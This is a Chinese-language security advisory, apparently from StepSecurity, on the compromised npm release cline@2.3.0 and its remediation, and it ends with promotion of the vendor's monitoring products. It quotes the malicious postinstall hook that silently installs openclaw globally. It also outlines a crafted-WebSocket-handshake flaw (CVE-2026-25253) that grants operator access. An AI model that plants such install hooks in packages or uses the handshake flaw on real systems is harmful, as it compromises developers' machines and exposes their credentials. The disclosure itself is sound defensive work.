StepSecurity 检测到 cline@2.3.0 包含恶意 post-install 脚本
StepSecurity 检测到 cline@2.3.0 在发布时附带了一个恶意 post-install 脚本,会在任何运行 npm install 的机器上静默安装 OpenClaw。以下是攻击如何实施、我们如何发现以及受影响者应采取的行动。
概述
2026 年 2 月 17 日 11:40 UTC,StepSecurity npm 监控系统检测到 cline npm 包的一个可疑版本。这个广泛使用的自主编码代理 CLI 工具的 2.3.0 版本附带了一个恶意 post-install 脚本,会在任何运行 npm install 的机器上静默安装一个名为 openclaw 的辅助包。
受影响版本在被包维护者弃用前已被下载约 4000 次,距发布约 8 小时后被弃用。
此次事件由 Adnan Khan 独立发现,他被记为 GitHub 安全公告 的报告者。
什么是 cline?
cline 是一款流行的开源自主编码代理 CLI 工具,支持 AI 辅助软件开发任务——包括文件创建和编辑、运行终端命令以及浏览器交互。它支持广泛的人工智能提供商,包括 Anthropic、OpenAI、Google Gemini 等。鉴于其深度集成到开发者工作流和 CI/CD 环境中,它代表了供应链攻击的高价值目标。
我们如何检测到它
StepSecurity 持续追踪 npm 注册表的包发布,验证发布模式和来源信号。2.3.0 版本有两个异常立即引起注意:
1. 偏离可信发布模式
此前所有合法的 cline 版本都通过 GitHub Actions 使用基于 OIDC 的可信发布发布——这是一种强大的来源机制,将包发布直接绑定到可验证的 CI/CD 流水线身份:
"_npmUser": {
"name": "GitHub Actions",
"email": "npm-oidc-no-reply@github.com",
"trustedPublisher": {
"id": "github",
"oidcConfigId": "oidc:a70d39d6-604d-4920-9966-e3317287dca7"
}
}然而,2.3.0 版本是由一个用户账户手动发布的:
"_npmUser": {
"name": "clinebotorg",
"email": "engineering@cline.bot"
}这是一个重要的红旗信号。从自动化、有来源保证的流水线切换到手动用户账户发布——而项目发布流程没有任何相应更新——是遭到入侵或未经授权发布的强烈指标。
2. 缺少 npm 来源证明
合法的 cline 版本带有 npm 来源证明,以加密方式将发布的包链接到其源代码仓库和构建流水线。2.3.0 版本完全缺少这些证明,这意味着无法验证包的构建来源或方式。
3. 恶意 Post-Install 脚本
对包内容的分析发现了一个 post-install 脚本,会在受害者机器上静默全局安装 openclaw\,未经任何用户同意或披露。包 package.json\ 中的恶意条目为:
"scripts": {
"postinstall": "npm install -g openclaw@latest"
}为什么 openclaw 是特别危险的载荷?
openclaw(前身为 Clawdbot 和 Moltbot)是一个快速发展的开源 AI 代理框架,于 2026 年初突破 160,000 GitHub 星标。它被设计为在本地机器上运行,拥有广泛的系统级权限,包括终端访问和完整磁盘访问,以便代表用户执行任务。它会安装一个持久化网关守护进程(macOS 上通过 launchd,Linux 上通过 systemd),该守护进程在后台持续运行,作为 WebSocket 服务器监听 ws://127.0.0.1:18789。
这种设计使其成为攻击者的特殊高价值植入物。一旦被静默安装,openclaw 网关实际上为攻击者在受害者机器上提供了持久据点,具有:
- 访问凭证和密钥:
openclaw从~/.openclaw/credentials/和~/.openclaw/config.json5读取,其中可能包含 API 密钥和 OAuth 令牌。网关进程可以访问安装用户可访问的任何环境变量、.env文件或 SSH 密钥。 - 任意命令执行:网关的操作员 API 允许在主机上调用任意 shell 命令。2.4.0 之前版本中一个已知的严重漏洞(CVE-2026-25253,CVSS 8.8)使情况更加恶化:攻击者可以发送带有
role: "operator"且无 scopes 字段的构造 WebSocket 握手,以获得完整操作员级访问权限——无需利用链,只需省略一个字段。 - 持久后门:因为
openclaw作为系统守护进程安装,它会生存重启并在原始cline包被移除或更新后继续运行。 - CI/CD 中的广泛攻击面:对于安装了受影响
cline版本的构建代理和 CI 运行器,openclaw会被安装到运行器环境中,可能暴露云凭证(AWS、GCP、Azure)、GitHub 令牌以及构建环境中可用的任何其他密钥。
时间线
| 时间 (UTC) | 事件 |
|---|---|
| 2 月 17 日 11:26 | cline@2.3.0 由 clinebotorg 发布到 npm |
| 2 月 17 日 11:40 | StepSecurity Artifact Monitor 标记异常发布 |
| 2 月 17 日 19:23 | 维护者通过可信发布流水线发布干净版本 |
| 2 月 17 日 ~19:23 | 恶意 cline@2.3.0 被维护者弃用(约 7 小时 56 分钟暴露窗口) |
| 2 月 18 日 | 事件披露;受影响版本记录约 4000 次下载 |
影响评估
在约 8 小时的窗口期内运行了 npm install cline(或等效命令且未固定版本)的任何开发者或 CI/CD 系统,可能已在他们的机器或构建环境中安装了 openclaw。
立即补救步骤
如果您安装了 Cline CLI cline@2.3.0
- 更新到最新版本的 Cline CLI:
cline update or npm install -g cline@latest - 验证您拥有已修复版本(2.4.0 或更高):
cline --version - 检查您的环境是否有意外安装的 OpenClaw,如非预期请将其移除:
npm uninstall -g openclaw
对于 StepSecurity 企业客户
以下步骤仅适用于 StepSecurity 企业客户。如果您不是现有企业客户,您可以安装 StepSecurity GitHub App 开始 14 天免费试用来完成以下恢复步骤。
使用 NPM 包冷却检查
NPM 包冷却检查 会在引入的 npm 包版本在组织配置冷却期内发布时自动失败 PR(默认:2 天)。冷却期结束后,检查将自动清除,无需操作。理由很简单——大多数供应链攻击在恶意包发布后的前 24 小时内被检测到,而被入侵的项目往往是急于采用新版本的那些。通过在新依赖引入前设置短等待期,团队可以在保持依赖更新的同时减少遭受新攻击的风险。
以下是 一个示例,展示此检查如何保护项目免受受污染包版本的影响:
使用 Dev Machine Guard 发现受影响的开发者机器
StepSecurity Dev Machine Guard 提供对开发者机器上安装的所有 npm 包的可见性,包括人工开发者安装的包以及工具或 AI 编码代理安装的包。
使用 Dev Machine Guard npm 包搜索功能,安全团队可以:
- 在所有已注册开发者机器上搜索
cline@2.3.0以识别暴露情况 - 按设备、用户或时间范围筛选以缩小受影响系统范围
- 查看每台开发者机器上的精确包位置,包括使用的包管理器和安装包的项目路径
这些信息在活跃供应链事件期间对于补救至关重要。使用包位置数据,您可以创建 MDM 或 EDR 脚本以从开发者机器中移除受影响的包。移除后,您可以重新扫描设备并验证包不再存在。
使用 NPM 包搜索在仓库和 PR 中发现 cline@2.3.0
NPM 包搜索 功能让您能够快速识别组织内引入 cline@2.3.0 的位置,覆盖拉取请求和默认分支。您可以在组织级别和租户级别进行搜索,以了解完整的影响范围。
如果像 cline@2.3.0 这样的受污染包通过拉取请求被添加,NPM 包搜索会将其浮出水面,允许您识别所有受影响的 PR,了解哪些仓库受到影响,并采取有针对性的补救措施,例如回滚受影响的 PR 或修补有漏洞的依赖。
使用 StepSecurity Harden-Runner 检测 CI/CD 中的受污染依赖
StepSecurity Harden-Runner 为您的 GitHub Actions 工作流添加运行时安全监控,提供 CI/CD 运行期间网络调用、文件系统更改和进程执行的可视性。Harden-Runner 在 CI/CD 中使用受污染的 nx 包时检测到它们。例如,在 CNCF Backstage 仓库中,Harden-Runner 标记了对 bun.sh 和 trufflehog 的恶意异常调用。您可以阅读 完整文章 了解 Harden-Runner 如何发现此活动
探索此交互式演示,了解 Harden-Runner 如何在 CNCF Backstage 仓库中检测到攻击:
如果您已在使用 Harden-Runner,我们强烈建议您审查最近在 Harden-Runner 仪表板中的异常检测。您可以按照此 指南 开始使用 Harden-Runner
使用 StepSecurity Threat Center 获取实时供应链威胁情报
StepSecurity Threat Center 提供有关此事件的全面详情以及所有受影响的包。通过您的仪表板访问 Threat Center,查看 IOC、补救指导以及发现新受污染包时的实时更新。威胁警报通过 AWS S3 和 webhook 集成自动传送到您的 SIEM,使供应链攻击发生时能够立即响应。我们的检测系统在发布后几分钟内识别了此攻击,在广泛利用之前提供了早期预警。
使用 StepSecurity Artifact Monitor 检测授权流水线外的软件发布
StepSecurity Artifact Monitor 通过持续监控跨包注册表的工件提供实时检测未经授权的包发布。此工具会通过检测受污染版本是在项目授权 CI/CD 流水线外发布的来标记此事件。监控器追踪发布模式、验证来源,并在包通过异常渠道或从未预期位置发布时向团队发出警报。通过实施 Artifact Monitor,组织可以在几分钟内而非数小时或数天内捕获供应链入侵,显著减少接触恶意包的窗口期。
在 https://docs.stepsecurity.io/artifact-monitor 了解更多关于在安全工作流中实施 Artifact Monitor 的信息。
致谢
我们要感谢 cline 维护者快速响应弃用恶意版本,Adnan Khan 独立发现并报告了此事件